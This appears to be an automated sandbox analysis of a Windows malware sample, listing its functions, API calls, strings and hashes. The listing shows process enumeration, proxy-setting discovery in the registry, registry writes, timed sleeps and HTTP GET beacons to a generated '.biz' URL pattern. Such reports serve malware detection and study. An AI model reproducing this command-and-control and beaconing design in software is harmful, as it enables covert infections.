Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 6edca4130fc9ff9253b416a2a54cfdd097daa11b75cfe95610963849548db182
Instruction ID: ead9107263b76718dec6335517b8b67c7343bef8d8983c19364d90e74fa0285a
Opcode Fuzzy Hash: 6edca4130fc9ff9253b416a2a54cfdd097daa11b75cfe95610963849548db182
Instruction Fuzzy Hash: 8021A1B1A802007AE53031757C03F5B369C8B84758F190A3BFE06B91D6F5BDE62941AF

Function 0040162C Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00000020,?,?,?,?,00000000), ref: 00401638

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: f818c81d85f2837e8f09a8e1289bbef95786282b79646c9b2c67e41602a4fe1f
Instruction ID: f875ba0a2abcffe31870ca8e80002a8d985e7d33d03c2abd76869f17a952f31f
Opcode Fuzzy Hash: f818c81d85f2837e8f09a8e1289bbef95786282b79646c9b2c67e41602a4fe1f
Instruction Fuzzy Hash: 03B012B48100003AFE0033185D03B343814E310300FC004E1F810600F7E17A153C004D

Non-executed Functions

Function 0040355D Relevance: 35.5, APIs: 16, Strings: 4, Instructions: 493networkregistrysleepCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

%u.%u.%u.%s, xrefs: 00402C16
modem, xrefs: 00402D97
isdn, xrefs: 00402DC4
Default Flags, xrefs: 004039C7, 004039E3

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: TimeValue$FileSleepSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 1870287861-1479823086
Opcode ID: 96acd3ec43a28ade2448771fe3d395cccea34a43eb763a718d322ee28eed03fa
Instruction ID: 2ee653d2f7df55df6907a0a9b2e57412953aa95c4ecf6cadf6b3b4d2485eddb3
Opcode Fuzzy Hash: 96acd3ec43a28ade2448771fe3d395cccea34a43eb763a718d322ee28eed03fa
Instruction Fuzzy Hash: E412D3B0A002149FDB20EF28CD45B997BB5AF45304F1482FAE808B73D1D7799A85CF59

Function 004019AA Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004019BF
Process32First.KERNEL32(00000000,?), ref: 00401A0A
CloseHandle.KERNEL32(00000000), ref: 00401C12

Strings

T2A, xrefs: 00401B56, 00401BB4

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseCreateFirstHandleProcess32SnapshotToolhelp32
String ID: T2A
API String ID: 1083639309-2019523081
Opcode ID: 1e948c95aaa689c1ab19c458318ec14d1cde759feb862ccd8d81315eded4b2f4
Instruction ID: 7c6136f779b091b801ec7ced044d4ecd4f532b5644714f746006db05a6c2f320
Opcode Fuzzy Hash: 1e948c95aaa689c1ab19c458318ec14d1cde759feb862ccd8d81315eded4b2f4
Instruction Fuzzy Hash: 627108706482009BE710AB24DD41B9B3BB8AB45348F04453AF945E72E1F37CE669CB9A

Function 0040263A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,00000000,00000100,?), ref: 0040265C
select.WS2_32(00000000,?,00000000,00000000,?), ref: 004026B1

Strings

(, xrefs: 00402679

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: FileInternetReadselect
String ID: (
API String ID: 1501673908-3887548279
Opcode ID: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction ID: 6522e2537fb8c8e721883018bf3c6a7a4605c561a93ab5d2b210f47b7f02e7dc
Opcode Fuzzy Hash: 90583d2b313c707988cabef44d03dce10f4e52a7c9587c3868e69efa36d07d23
Instruction Fuzzy Hash: 094172341083859BD3318F24C588BEBFBE4EB89314F24492FD8D9972C2D3B99865CB56

Function 00402030 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 234networkstringCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?), ref: 00402065
lstrlenA.KERNEL32(00000000,?), ref: 0040206E
htons.WS2_32(00000000), ref: 004020C9
inet_addr.WS2_32(?), ref: 004020F0
gethostbyname.WS2_32(?), ref: 00402107
socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
closesocket.WS2_32(00000000), ref: 00402169
wsprintfA.USER32 ref: 004021B5
send.WS2_32(00000000,?,00000000,00000000), ref: 004021C5
lstrcmpiA.KERNEL32(?,HTTP/1.0 200), ref: 00402206
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004022F2
InternetCloseHandle.WININET(00000000), ref: 00402336

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402297
GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 00402183
0, xrefs: 004021EF
HTTP/1.0 200, xrefs: 00402200
GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0), xrefs: 0040217C

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Internet$Option$Open$CloseHandleclosesocketgethostbynamehtonsinet_addrlstrcmpilstrcpylstrlensendsocketwsprintf
String ID: 0$GET /%s HTTP/1.0Host: %sUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$GET /%s HTTP/1.0Host: %s:%uUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)$HTTP/1.0 200$Mozilla/4.0 (compatible; MSIE 6.0; Win32)
API String ID: 326340279-182194581
Opcode ID: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction ID: 67f1582d9d65064009b7b38dedaf8d45dcb20af8a74f6ab8ff9eb660a5d02e62
Opcode Fuzzy Hash: c5914518efa31e6daf1d6d1c5ad6aede4384d13f612d860edefc583a5bee64dd
Instruction Fuzzy Hash: 83810DB0E002045BD710AB749E49B5F76B8AB05314F0441B6EB05FB2D1E7FC9A59C79E

Function 004038AA Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 306networksleepregistryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040F4FC,?,00000000,?,?,?,0040F4FC,?,00000000), ref: 004029F2
gethostbyname.WS2_32(?), ref: 00402A11
htons.WS2_32(00000050), ref: 00402A30
socket.WS2_32(00000002,00000001,00000006), ref: 00402A5B
closesocket.WS2_32(00000000), ref: 00402A84
Sleep.KERNEL32(00000000), ref: 004038FD
GetSystemTimeAsFileTime.KERNEL32(?), ref: 00403920
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039CD
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,00412170,00000012), ref: 004039EE
Sleep.KERNEL32(000927C0,?,?,?,?,?,?,?,?,?,?,?,0040F4FC,?,00000000), ref: 00403A0C

Strings

%u.%u.%u.%s, xrefs: 00402C16
modem, xrefs: 00402D97
isdn, xrefs: 00402DC4
Default Flags, xrefs: 004039C7, 004039E3

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: SleepTimeValue$FileSystemclosesocketgethostbynamehtonslstrcpysocket
String ID: %u.%u.%u.%s$Default Flags$isdn$modem
API String ID: 104937078-1479823086
Opcode ID: 23bc219b5744c9827f2f8f9d690f39e8be89f3e5c2ca0e4ade555a46899b0d44
Instruction ID: 51207a69c6f84e7cd26efe5e5962b9edc78a43a6ad57510283d07de6baf8f7fe
Opcode Fuzzy Hash: 23bc219b5744c9827f2f8f9d690f39e8be89f3e5c2ca0e4ade555a46899b0d44
Instruction Fuzzy Hash: 94C12C71A002149BDB20DF38CD49BD977B5AF44304F1082B6E509F72D1E7B99A58CF5A

Function 004016E1 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 144registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,0040228C), ref: 00401720
lstrlenA.KERNEL32(?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 00401751
lstrcatA.KERNEL32(?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 0040177F
RegOpenKeyExA.ADVAPI32(80000003,00000000,00000000,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings,?,?,?,?,?,?,?,00001000,00000000,?), ref: 00401795
RegQueryValueExA.ADVAPI32(?,ProxyEnable,00000000,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004017D2
RegOpenKeyExA.ADVAPI32(?,Connections,00000000,00020019,?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 00401817
RegEnumValueA.ADVAPI32(?,?,?,?,00000000,?,?,00001000), ref: 0040189E
RegCloseKey.ADVAPI32(?), ref: 004018BD
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00020019,?,\Software\Microsoft\Windows\CurrentVersion\Internet Settings), ref: 004018CF
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004018E8
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00001000,00000000,?,00000000,?,?,0040228C), ref: 004018FF

Strings

Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections, xrefs: 00401716
_Classes, xrefs: 00401762
\Software\Microsoft\Windows\CurrentVersion\Internet Settings, xrefs: 00401779
ProxyEnable, xrefs: 004017C6
Connections, xrefs: 0040180B

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Close$EnumOpenValue$CreateQuerylstrcatlstrlen
String ID: Connections$ProxyEnable$Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections$\Software\Microsoft\Windows\CurrentVersion\Internet Settings$_Classes
API String ID: 1447802672-1466506419
Opcode ID: f294c517c20514b2f8faf26ffca72a768d62fae29f0f9d7abf442c73c3c025a1
Instruction ID: 66e194334fdec41dc41c183a83ee0e0423d2cbbda799cea80f6bf4481fa86f55
Opcode Fuzzy Hash: f294c517c20514b2f8faf26ffca72a768d62fae29f0f9d7abf442c73c3c025a1
Instruction Fuzzy Hash: 2941EEB2904344AAF73176219C0AF9B7B9C9B44348F14443FFE88B51D3E279962CC667

Function 00401439 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 70registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,?,?,?,?,004053DB), ref: 00401455
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?), ref: 00401482
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,0002001F,?), ref: 0040149E
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,?,?,?,?,0002001F,?), ref: 004014BF
RegQueryValueExA.ADVAPI32(?,ShellRegEx,00000000,?,?,?,?,?,?,0002001F,?,?,?,?,?,0002001F), ref: 004014F3

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 0040144B, 004014B5
ShellRegEx, xrefs: 00401479, 004014EA

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: OpenQueryValue$Close
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$ShellRegEx
API String ID: 2529929805-3421572904
Opcode ID: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction ID: 4b3f21838edb9e41f667f6993cf98c5a1242fec43926aa3cdaef8ebd8d2009fd
Opcode Fuzzy Hash: 4a95097c5cd9ac49c2c0031509204a62f35eae4208d5cebb0b882de0ceae9e8d
Instruction Fuzzy Hash: 8C1187B2904300B7E700AA61AD46F2777ACBB8470DF11083EFD45B51D2F279DA288767

Function 004024CE Relevance: 12.1, APIs: 5, Strings: 3, Instructions: 123stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00402520
lstrcpyA.KERNEL32(?,?), ref: 00402551
wsprintfA.USER32 ref: 004025A7
wsprintfA.USER32 ref: 004025C5
wsprintfA.USER32 ref: 00402620

Strings

p!A, xrefs: 00402632
%02X, xrefs: 004025BF
http://%s.biz/d/G?, xrefs: 0040259F, 00402618

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X$http://%s.biz/d/G?$p!A
API String ID: 1876335253-3368850760
Opcode ID: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction ID: 2cea46374afef77fdc915a1e9f7db235c3865f046913e12eac0c1d1ce8585de9
Opcode Fuzzy Hash: cb09279badd15ee99111056726957111c3d85b17a551844977e1177323dfd80f
Instruction Fuzzy Hash: 4F410331C002189BDB11EF68CD8979EBBF5BF40308F150176E815BB2D2D3B9A919C799

Function 00401D76 Relevance: 12.1, APIs: 8, Instructions: 94networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401D9F
connect.WS2_32(00000000,?,00000010), ref: 00401DB3
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 00401DC9
WSAGetLastError.WS2_32 ref: 00401DDB
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00401DF8

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction ID: 443f35bcad443bf4521d197b8b602cf4c8bc99f5fac3635e2f32846607df0921
Opcode Fuzzy Hash: 9e80b3ac6c6475ff1c6574f67f9f1b28db439d7aba4eb792491afc0fea029df5
Instruction Fuzzy Hash: E53191B15042005AE230AA65DD45FDF76EC9B8531CF00073EF999A62D1E678A62982EB

Function 00401912 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 55registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00405EB0), ref: 0040193D
wsprintfA.USER32 ref: 00401953
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040197D
RegCloseKey.ADVAPI32(?,?,?,00000300,?,?,?,?,?,00020019,?,?,?,00405EB0), ref: 0040198D
RegDeleteKeyA.ADVAPI32(?), ref: 0040199A

Strings

%s\%s, xrefs: 0040194D

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction ID: 17f0bcb135b28bc178a216f8b2dfa9435dc5451e8c8b02a629b5be3cc13ba035
Opcode Fuzzy Hash: bc1c0bbb8f76672b1839e5cdb49d41e6cb4f6e9dc379d8bdb7dadbb7b60f7000
Instruction Fuzzy Hash: C601ACB2A042047BE52075266D03F9B76ECCBC574CF11007AF909B61D1E5799F2981BF

Function 00401379 Relevance: 10.6, APIs: 7, Instructions: 51processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401393
CreateProcessA.KERNEL32(?,00407000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013AF
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,?,00407000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 004013C9
WaitForSingleObject.KERNEL32(?,000000FF,00000000,?,?), ref: 004013D9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 004013ED
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,?,?), ref: 004013FC
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00000000,?,?), ref: 00401405

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID:
API String ID: 881816827-0
Opcode ID: 5c9f2ae24bbf38b8e4d1a78f3c05765d0a18033d6e5426841d8ad069630d6b3d
Instruction ID: 3f95ffb7ecc753adf67741720bf5132c3bbf7ea7650a4e902ed5c82167082f99
Opcode Fuzzy Hash: 5c9f2ae24bbf38b8e4d1a78f3c05765d0a18033d6e5426841d8ad069630d6b3d
Instruction Fuzzy Hash: 8C01813180420476D6213A36AC07F0F7FA89B4576CF210A3DF959351EAE67D663D42AF

Function 00401EC9 Relevance: 7.6, APIs: 5, Instructions: 113networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 00401F45
recv.WS2_32(00000000,?,?,00000002), ref: 00401F5E
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401F7E
recv.WS2_32(00000000,?,-00000001,00000000), ref: 00401FB4
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401FC6

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction ID: c66e6617afff8c9d9109827ab4c11b99613a78ce40c43f432ca9f356368ad492
Opcode Fuzzy Hash: 331c4b56a962cc5ab22ade2b3a75bc455250cfa2f4922ab3eade63a1b2494d84
Instruction Fuzzy Hash: 0A31097040C3429BD731DE14C984B6BBAD8EB81358F24453FF589A62D1E3BD8445D7A7

Function 0040350B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24registrysleepCOMMON

Download Yara Rule

APIs

RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003), ref: 00403526
RegSetValueExA.ADVAPI32(?,Default Flags,00000000,00000003,?,00000012), ref: 00403543
Sleep.KERNEL32(00001388,00000012), ref: 00403550

Strings

Default Flags, xrefs: 00403520, 00403538

Memory Dump Source

Source File: 00000000.00000002.2037696728.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2037684404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037716074.0000000000407000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037734587.0000000000410000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037748785.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037762972.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Value$Sleep
String ID: Default Flags
API String ID: 3593280086-1793642065
Opcode ID: a5b68f8c3ddcba11c1e75a3cc52f21bfd238a8e0f43b38b7b4c9a5446ecc60c5
Instruction ID: c183a8bf8b1eb437f9bd20ceed0a90573d3401291b8ece137b7e57e0eade4e67
Opcode Fuzzy Hash: a5b68f8c3ddcba11c1e75a3cc52f21bfd238a8e0f43b38b7b4c9a5446ecc60c5
Instruction Fuzzy Hash: 68E04F71A8030472D7712639AE4BF477A3467A1B09F11007BB906398C7A5B51329D9AA

Function 00402471 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 29COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004024A3

Part of subcall function 00402030: lstrcpyA.KERNEL32(?,?), ref: 00402065
Part of subcall function 00402030: lstrlenA.KERNEL32(00000000,?), ref: 0040206E
Part of subcall function 00402030: htons.WS2_32(00000000), ref: 004020C9
Part of subcall function 00402030: socket.WS2_32(00000002,00000001,00000006), ref: 0040213E
Part of subcall function 00402030: closesocket.WS2_32(00000000), ref: 00402169
Part of subcall function 00402030: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 0040229C
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000002,00009C40,00000004), ref: 004022BF
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000006,00009C40,00000004), ref: 004022CB
Part of subcall function 00402030: InternetSetOptionA.WININET(00000000,00000005,00009C40,00000004), ref: 004022D7

Part of subcall function 00401D38: InternetCloseHandle.WININET(?), ref: 00401D49
